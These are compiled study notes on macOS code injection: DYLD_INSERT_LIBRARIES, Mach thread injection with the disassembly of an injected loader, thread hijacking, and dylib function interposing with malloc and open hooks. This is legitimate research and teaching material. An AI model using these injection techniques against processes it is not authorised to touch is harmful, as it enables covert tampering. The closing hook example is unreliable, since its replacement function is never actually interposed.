c_JA&embeds_euri=https%3A%2F%2Fblog.xpnsec.com%2F&feature

=emb_logo&ab_channel=AdamChester 

https://blog.xpnsec.com/macos-injection-via-third-party-frameworks/ 

 

Code injection on macOS 

DYLD_INSERT_LIBRARIES 
This is one of the most well known and common techniques for code 
injection on macOS. By setting the DYLD_INSERT_LIBRARIES environment 

variable to a dylib of their choice and then starting an application an 
attacker can get the dylib code running inside of the started process. In 

older versions of macOS this could be used to inject a dylib into an Apple 
platform application with higher privileges. This would allow the injected 
dylib to also gain those additional privileges. Since the addition of SIP in 

macOS 10.12 this technique can no longer be used on Apple platform 
binaries. As of macOS 10.14 third party developers can also opt in to 

a hardened runtime for their application. This can also prevent the 

injection of dylibs using this technique. 

Below are a few examples of how DYLD_INSERT_LIBRARIES works on 

macOS: 

http://thomasfinch.me/blog/2015/07/24/Hooking-C-Functions-At-
Runtime.html 
https://blog.timac.org/2012/1218-simple-code-injection-using-

dyld_insert_libraries/ 

Thread Injection 
If you look up code injection techniques on Windows, thread injection is 
one of the most common. With APIs like CreateRemoteThread the entire 
process is fairly straight forward and doesn’t take much code. If you try 

https://www.youtube.com/watch?v=1_3Q00-c_JA&embeds_euri=https%3A%2F%2Fblog.xpnsec.com%2F&feature=emb_logo&ab_channel=AdamChester
https://www.youtube.com/watch?v=1_3Q00-c_JA&embeds_euri=https%3A%2F%2Fblog.xpnsec.com%2F&feature=emb_logo&ab_channel=AdamChester
https://www.youtube.com/watch?v=1_3Q00-c_JA&embeds_euri=https%3A%2F%2Fblog.xpnsec.com%2F&feature=emb_logo&ab_channel=AdamChester
https://blog.xpnsec.com/macos-injection-via-third-party-frameworks/
https://developer.apple.com/documentation/security/hardened_runtime_entitlements
http://thomasfinch.me/blog/2015/07/24/Hooking-C-Functions-At-Runtime.html
http://thomasfinch.me/blog/2015/07/24/Hooking-C-Functions-At-Runtime.html
https://blog.timac.org/2012/1218-simple-code-injection-using-dyld_insert_libraries/
https://blog.timac.org/2012/1218-simple-code-injection-using-dyld_insert_libraries/


searching for the same thing on macOS you’ll find a lot less resources. 

Luckily, Jonathan Levin, author of the great MacOS and iOS 

Internals collection of books has a great example on his website. 

http://newosxbook.com/src.jl?tree=listings&file=inject.c 

This example makes use of the Mach thread_create_running API. Since 

macOS has a dual personality, with low level Mach APIs as well as BSD APIs, 
there exists two sets of APIs for working with threads. One is the Mach APIs 

and the other is the pthread APIs. Unfortunately some internal parts of 
macOS expect every thread to have been properly created from the BSD 
APIs and to have all Mach thread structures as well as pthread structures 

set up properly. In order to handle this, the inject.c example above, 
attempts to first call _pthread_set_self in the injected code in order to get 

the thread to a working state. 

This approach works well up to macOS 10.14 where some of 
the pthread internal code changed. I wanted to get a working version of this 

example on 10.14 and up so I decided to look into some of 
the pthread code. Prior to macOS 10.14, the _pthread_set_self code did 

the following: 

libpthread-301.50.1/src/pthread.c 

PTHREAD_NOINLINE 
void 
_pthread_set_self(pthread_t p) 
{ 
 return _pthread_set_self_internal(p, true); 
} 
 
PTHREAD_ALWAYS_INLINE 
static inline void 
_pthread_set_self_internal(pthread_t p, bool needs_tsd_base_set) 
{ 
 if (p == NULL) { 
  p = &_thread; 
 } 
 
 uint64_t tid = __thread_selfid(); 
 if (tid == -1ull) { 
  PTHREAD_ABORT("failed to set thread_id"); 
 } 
 
 p->tsd[_PTHREAD_TSD_SLOT_PTHREAD_SELF] = p; 
 p->tsd[_PTHREAD_TSD_SLOT_ERRNO] = &p->err_no; 
 p->thread_id = tid; 
 
 if (needs_tsd_base_set) { 
  _thread_set_tsd_base(&p->tsd[0]); 

https://www.amazon.com/MacOS-iOS-Internals-User-Mode/dp/099105556X/ref=as_sl_pc_qf_sp_asin_til?tag=newosxbookcom-20&linkCode=w00&linkId=25d40cd80f346c76537ef5fb1ea1ed81&creativeASIN=099105556X
https://www.amazon.com/MacOS-iOS-Internals-User-Mode/dp/099105556X/ref=as_sl_pc_qf_sp_asin_til?tag=newosxbookcom-20&linkCode=w00&linkId=25d40cd80f346c76537ef5fb1ea1ed81&creativeASIN=099105556X
http://newosxbook.com/src.jl?tree=listings&file=inject.c
http://newosxbook.com/src.jl?tree=listings&file=inject.c
https://opensource.apple.com/source/libpthread/libpthread-301.50.1/src/pthread.c.auto.html


 } 
} 

This code allows us to pass NULL into the _pthread_set_self call and in turn 
it will set up some of the internal pthread structures based on the main 
thread of the application. This is ideal in the injection case because we’re 

starting from a bare Mach thread with no pthread structures set up and no 
reference to any other thread. On macOS 10.14 and higher this code has 

changed and you can no longer pass NULL into _pthread_set_self 

libpthread-330.201.1/src/pthread.c 

PTHREAD_NOINLINE 
void 
_pthread_set_self(pthread_t p) 
{ 
#if VARIANT_DYLD 
 if (os_likely(!p)) { 
  return _pthread_set_self_dyld(); 
 } 
#endif // VARIANT_DYLD 
 _pthread_set_self_internal(p, true); 
} 
 
#if VARIANT_DYLD 
// _pthread_set_self_dyld is noinline+noexport to allow the option for 
// static libsyscall to adopt this as the entry point from mach_init if 
// desired 
PTHREAD_NOINLINE PTHREAD_NOEXPORT 
void 
_pthread_set_self_dyld(void) 
{ 
 pthread_t p = main_thread(); 
 p->thread_id = __thread_selfid(); 
 
 if (os_unlikely(p->thread_id == -1ull)) { 
  PTHREAD_INTERNAL_CRASH(0, "failed to set thread_id"); 
 } 
 
 // <rdar://problem/40930651> pthread self and the errno address are 
the 
 // bare minimium TSD setup that dyld needs to actually function.  
Without 
 // this, TSD access will fail and crash if it uses bits of Libc prior 
to 
 // library initialization. __pthread_init will finish the 
initialization 
 // during library init. 
 p->tsd[_PTHREAD_TSD_SLOT_PTHREAD_SELF] = p; 
 p->tsd[_PTHREAD_TSD_SLOT_ERRNO] = &p->err_no; 
 _thread_set_tsd_base(&p->tsd[0]); 
} 
#endif // VARIANT_DYLD 
 
PTHREAD_ALWAYS_INLINE 
static inline void 
_pthread_set_self_internal(pthread_t p, bool needs_tsd_base_set) 

https://opensource.apple.com/source/libpthread/libpthread-330.201.1/src/pthread.c.auto.html


{ 
 p->thread_id = __thread_selfid(); 
 
 if (os_unlikely(p->thread_id == -1ull)) { 
  PTHREAD_INTERNAL_CRASH(0, "failed to set thread_id"); 
 } 
 
 if (needs_tsd_base_set) { 
  _thread_set_tsd_base(&p->tsd[0]); 
 } 
} 

The internal implementation was split into a dyld specific one not 
accessible in the user space libpthread library and the other internal one 

which expects a valid thread to be passed in. In 

fact _pthread_set_self_internal will crash if null is passed in because it 

expects the argument to be there. 

I decided to continue reviewing the pthread source code to look for another 

function that could help bootstrap a bare Mach thread into a properly set 
up pthread. I ended up coming across 

the pthread_create_from_mach_thread function. This function has existed 
since macOS 10.12 so it should work on 10.12 and up. It calls into the 

internal _pthread_create implementation passing in true to 
the from_mach_thread argument. I could only find one binary on my system 
that actually used this API: RemoteInjectionAgent within the 

Xcode DVTInstrumentsFoundation.framework. 

The idea is to inject a bare Mach thread as a bootstrap thread and then use 
the pthread_create_from_mach_thread to create a second fully configured, 

legitimate pthread. Here’s the modified injectedCode from Jonathan 

Levin’s example. 

                     _injectedCode: 
00000001000020d0         push       rbp                                         
; DATA XREF=_inject+576, _inject+1014 
00000001000020d1         mov        rbp, rsp 
00000001000020d4         sub        rsp, 0x10 
00000001000020d8         lea        rdi, qword [rbp-8] 
00000001000020dc         xor        eax, eax 
00000001000020de         mov        ecx, eax 
00000001000020e0         lea        rdx, qword [_injectedCode+56]               
; 0x100002108 
00000001000020e7         mov        rsi, rcx 
00000001000020ea         movabs     rax, 0x5452434452485450                     
; PTHRDCRT 
00000001000020f4         call       rax 
00000001000020f6         mov        dword [rbp-0xc], eax 
00000001000020f9         add        rsp, 0x10 
00000001000020fd         pop        rbp 
00000001000020fe         mov        rax, 0xd13 



0000000100002105         jmp        _injectedCode+53                            
; CODE XREF=_injectedCode+53 
0000000100002107         ret 
 
0000000100002108         push       rbp                                         
; DATA XREF=_injectedCode+16 
0000000100002109         mov        rbp, rsp 
000000010000210c         sub        rsp, 0x10 
0000000100002110         mov        esi, 0x1 
0000000100002115         mov        qword [rbp-8], rdi 
0000000100002119         lea        rdi, qword [aLiblibliblib]                  
; "LIBLIBLIBLIB" 
0000000100002120         movabs     rax, 0x5f5f4e45504f4c44                     
; DLOPEN__ 
000000010000212a         call       rax 
000000010000212c         xor        esi, esi 
000000010000212e         mov        edi, esi 
0000000100002130         mov        qword [rbp-0x10], rax 
0000000100002134         mov        rax, rdi 
0000000100002137         add        rsp, 0x10 
000000010000213b         pop        rbp 
000000010000213c         ret 
                     aLiblibliblib: 
000000010000213d         db         "LIBLIBLIBLIB", 0                           
; DATA XREF=_injectedCode+73 

You can download a full updated working example of this code from the 

link below: 

https://gist.github.com/knightsc/45edfc4903a9d2fa9f5905f60b02ce5a 

There’s a couple notes on this technique. First it depends on being able to 

call task_for_pid to get the Mach task port of the victim process. You can 
only do this as root and just like dylib injection you can not 

use task_for_pid on Apple platform binaries due to SIP on macOS 10.12 
and higher. So while it’s still an interesting technique it’s not as useful for 
privilege escalation. This technique has been used in the past in iOS 

exploits in cases where another exploit has allowed a task port to be leaked 

over to an attacker process. 

Thread Hijacking 
Another possible techinque on macOS is thread hijacking. Instead of 
creating a thread in a remote process we instead retrieve an existing thread 

and coerce it into running what we want. Apple has continued to lock 
down task_for_pid as well as any Mach API that takes a task port in order 

to try to prevent the abuse of leaked task ports. Due to this, thread 
hijacking has becomes a more interesting technique. Brandon Azad has an 
amazing write up around this technique and I’m not going to attempt to 

https://gist.github.com/knightsc/45edfc4903a9d2fa9f5905f60b02ce5a


cover it in great detail here. I highly recommend you go and read the 

following: 

https://bazad.github.io/2018/10/bypassing-platform-binary-task-threads/ 

I looked into this technique briefly and attempted to hijack a thread, run 
code and then put the thread back to its original state. It appears that what 

we can save with thread_get_state doesn’t really save all of the state and 
the thread often crashes. It’s good enough for other uses though if you’re 

just trying to execute code in the context of a privileged app but not good 
enough if you’re trying to take control of another process without notice. 

You can see my code example here: 

https://gist.github.com/knightsc/bd6dfeccb02b77eb6409db5601dcef36 

If you’re interested in this technique I highly recommend reading over the 
code to Brandon Azad’s threadexec library. It goes into great detail around 
this technique and goes along with his article above. Unfortunately it 

seems like he came to a similar conclusion as me in that trying to save and 

restore the thread state does not work that reliably. 

ptrace? 
If you read the ATT&CK page you might have been led to believe that on 
Linux and macOS the ptrace APIs could be used for code injection. That’s 

not actually the case on macOS. While the ptrace syscall does exist on 
macOS it is not fully implemented. For instance none of 

the PTRACE_PEEKTEXT, PTRACE_POKETEXT, PTRACE_GETREGS, PTRACE_SETREGS ca

lls exist. 

Other techniques? 
I think there could also exist other techniques that haven’t been explored 
yet. With libdispatch being one of the core libraries enabling applications 

to do work in parallel it seems like that might be an area that hasn’t fully 
been explored yet. My thought is that it might be possible to inject code 
into a remote process that is in the format of a valid dispatch block and 

then get that block submitted to a work queue. Alternatively it might be 
possible to locate a block queued up but not currently running and hijack 

the code that the block points too. I haven’t yet had time to dig into this 

more but I think it’s definitely an interesting area of research. 

https://bazad.github.io/2018/10/bypassing-platform-binary-task-threads/
https://gist.github.com/knightsc/bd6dfeccb02b77eb6409db5601dcef36
https://github.com/bazad/threadexec
https://github.com/bazad/threadexec/blob/master/src/thread_api/tx_init_thread.c#L124


https://knight.sc/malware/2019/03/15/code-injection-on-

macos.html 

Function Hooking on macOS 
 

One of the primary goals of a malware author is to capture control of 
a program. I'm going through a variety of different ways we can do 
this, including techniques like shellcode injection, return-to-libc 
attacks, and return oriented programming. There are other tricks 
you can use too, and we'll cover one of those here. 

Today, we're going to discuss function hooking. 

The example I'm going to cover is more accurately referred to as 
function interposingon MacOS and iOS, and you can use it to 
intercept function calls. It uses specific commands in generated 
executable images (libraries specifically) and environmental settings 
to tell the program loader to load specific functions in the place of 
others. We're going to go through a simple example where we 
intercept calls to malloc(.) and free(.). This approach is based on Jon 
Levin's example in Mac OS X and iOS Internals (great book - his new 
book, *OS Internals Volume III, is even better). That example doesn't 
work anymore; however, this one does. 

Function Interposing 
Okay, so what is this function interposing thing? Basically, you need 
to do a couple of things. First, you need to compile the library such 
that the generated binary code has the appropriate loading 
commands. These commands will tell the loader to take functions 
defined in the library and replace other indicated functions with 
them. In this example, I've changed the functions themselves very 
little from Jon's original functions, but I've changed the way I go 
about interposing in that I've pulled a macro from dyld-
interposing.h and I use that to instruct the compiler to generate 
interposing code. The specific macro is: 

1 

#define INTERPOSE(_replacement, _replacee) \ 

2 

    __attribute__((used)) static struct { \ 

3 

https://knight.sc/malware/2019/03/15/code-injection-on-macos.html
https://knight.sc/malware/2019/03/15/code-injection-on-macos.html


        const void* replacement; \ 

4 

        const void* replacee; \ 

5 

    } _interpose_##_replacee __attribute__ ((section("__DATA, __interp

ose"))) = { \ 

6 

        (const void*) (unsigned long) &_replacement, \ 

7 

        (const void*) (unsigned long) &_replacee \ 

8 

    }; 

I know, kind of a mess, but it basically defines a structure of a 
specific format with attributes that create the interposing section 
within the generated library. After compilation, if you take a look at 
the generated binary, you'll see this: 

1 

$ otool -lvV libInterposeMalloc.dylib | less 

2 

... 

3 

sectname __interpose 

4 

   segname __DATA 

5 

      addr 0x0000000000001028 

6 

      size 0x0000000000000020 

7 

    offset 4136 

8 

     align 2^3 (8) 

9 

    reloff 0 

10 

    nreloc 0 

11 

      type S_REGULAR 

12 

attributes (none) 

13 

 reserved1 0 

14 



 reserved2 0 

15 

 ... 

If we break out IDA, we can see this in the library as well: 

1 

__interpose:0000000000001028 __interpose     segment para public '' us

e64 

2 

__interpose:0000000000001028                 assume cs:__interpose 

3 

__interpose:0000000000001028                 ;org 1028h 

4 

__interpose:0000000000001028                 assume es:nothing, ss:not

hing, ds:nothing, fs:nothing, gs:nothing 

5 

__interpose:0000000000001028 __interpose_free dq offset _my_free 

6 

__interpose:0000000000001030                 dq offset __imp__free 

7 

__interpose:0000000000001038 __interpose_malloc dq offset _my_malloc 

8 

__interpose:0000000000001040                 dq offset __imp__malloc 

9 

__interpose:0000000000001040 __interpose     ends 

I'll spare you the disassembly of the functions we've implemented (if 
you're dying to know otool -p _my_malloc -tvV 
libInterposeMalloc.dylib, I will show you some of it). Here's the 
relevant library C code, which you compile with clang -dynamiclib -o 
libInterposeMalloc.dylib 
interpose_malloc.c(where interpose_malloc.c is the name of the file): 

1 

#include <stdio.h> 

2 

#include <unistd.h> 

3 

#include <fcntl.h> 

4 

#include <stdlib.h> 

5 

#include <malloc/malloc.h> 

6 

 



7 

#define INTERPOSE(_replacement, _replacee) \ 

8 

    __attribute__((used)) static struct { \ 

9 

        const void* replacement; \ 

10 

        const void* replacee; \ 

11 

    } _interpose_##_replacee __attribute__ ((section("__DATA, __interp

ose"))) = { \ 

12 

        (const void*) (unsigned long) &_replacement, \ 

13 

        (const void*) (unsigned long) &_replacee \ 

14 

    }; 

15 

 

16 

void *my_malloc (int size) 

17 

{ 

18 

    void *returned = malloc(size); 

19 

    malloc_printf("[+] %p %d\n",returned, size); 

20 

    return (returned); 

21 

} 

22 

 

23 

void my_free (void *freed) 

24 

{ 

25 

    malloc_printf("[-] %p\n", freed); 

26 

    free(freed); 

27 

} 

28 



 

29 

INTERPOSE(my_free,free); 

30 

INTERPOSE(my_malloc,malloc); 

Here, the my_malloc(.) and my_free(.) functions are Jon's original 
interposing functions, with some very small changes. 
The INTERPOSE(.) macro is copied from Apple's open-source 
dynamic loader code, formatted for readability. Now we can build 
the library and we can see the code we generate; next, we'll write a 
small executable and see interposing in action. We'll go over this 
next time. 

https://dzone.com/articles/hooking-functions  

https://forums.macrumors.com/threads/api-hooking-before-an-during-runtime-methods-

caveats-and-what-is-isnt-allowed.2230424/  

https://reverseengineering.stackexchange.com/questions/2113/hooking-functions-in-linux-

and-or-osx  

https://stackoverflow.com/questions/6083337/overriding-malloc-using-the-ld-preload-

mechanism  

https://www.youtube.com/watch?v=oVs-KETmf54&ab_channel=Christiaan008  

 

Function Hooking Example 
Function hooking is a technique used to intercept and modify the behavior of a function at 

runtime. On macOS, function hooking can be accomplished using a technique called "dylib 

injection". 

Here's an example of how to hook a function using dylib injection: 

1. Create a dynamic library that contains the replacement function that you want to 

inject. For example, let's say we want to hook the open function and replace it with 

our own implementation. We can create a dynamic library containing our replacement 

function using the following code: 

#include <stdio.h> 

#include <fcntl.h> 

 

int my_open(const char *path, int flags, mode_t mode) 

{ 

    printf("Opening file: %s\n", path); 

    return open(path, flags, mode); 

https://dzone.com/articles/hooking-functions
https://forums.macrumors.com/threads/api-hooking-before-an-during-runtime-methods-caveats-and-what-is-isnt-allowed.2230424/
https://forums.macrumors.com/threads/api-hooking-before-an-during-runtime-methods-caveats-and-what-is-isnt-allowed.2230424/
https://reverseengineering.stackexchange.com/questions/2113/hooking-functions-in-linux-and-or-osx
https://reverseengineering.stackexchange.com/questions/2113/hooking-functions-in-linux-and-or-osx
https://stackoverflow.com/questions/6083337/overriding-malloc-using-the-ld-preload-mechanism
https://stackoverflow.com/questions/6083337/overriding-malloc-using-the-ld-preload-mechanism
https://www.youtube.com/watch?v=oVs-KETmf54&ab_channel=Christiaan008


} 

2. Compile the dynamic library using the following command: 

$ clang -dynamiclib -o libmyhook.dylib myhook.c 

 

This will create a dynamic library called libmyhook.dylib that contains our replacement 

function. 

3. Identify the address of the open function in the target executable or library that you 

want to hook. This can be done using the nm command. For example, to identify the 

address of the open function in the /usr/lib/libSystem.B.dylib library, you can use the 

following command: 

$ nm -g /usr/lib/libSystem.B.dylib | grep open 

This will output something like: 

 

000000000002a6b0 T _open 

The address of the open function is 0x2a6b0. 

4. Write a dylib injection tool that injects our dynamic library into the target executable 

or library. This can be accomplished using the DYLD_INSERT_LIBRARIES environment 

variable. For example, let's say we want to hook the open function in the ls command. 

We can use the following command to inject our dynamic library into the ls command: 

$ DYLD_INSERT_LIBRARIES=libmyhook.dylib DYLD_FORCE_FLAT_NAMESPACE=1 /bin/ls 

This will run the ls command with our dynamic library injected. 

5. Finally, we need to update the open function in our dynamic library to call the original 

open function. This can be done using the dlsym function to look up the address of the 

original open function. Here's the modified code for my_open: 

#include <stdio.h> 

#include <fcntl.h> 

#include <dlfcn.h> 

 

int my_open(const char *path, int flags, mode_t mode) 

{ 

    void *libc_handle = dlopen("/usr/lib/libSystem.B.dylib", RTLD_LAZY); 

    int (*real_open)(const char *, int, mode_t) = dlsym(libc_handle, "open"); 

    printf("Opening file: %s\n", path); 

    int ret = real_open(path, flags, mode); 

    dlclose(libc_handle); 



    return ret; 

} 

This code uses dlopen and dlsym to look up the address of the original open function, and 

then calls it using a function pointer. 

With these steps, we have successfully hooked the open function in the target executable or 

library using dylib injection. Whenever the open function is called, our replacement function 

will be called instead of the original function, and we can modify the behavior of the program 

as needed. 

https://github.com/rodionovd/rd_route  

https://github.com/rodionovd/rd_route

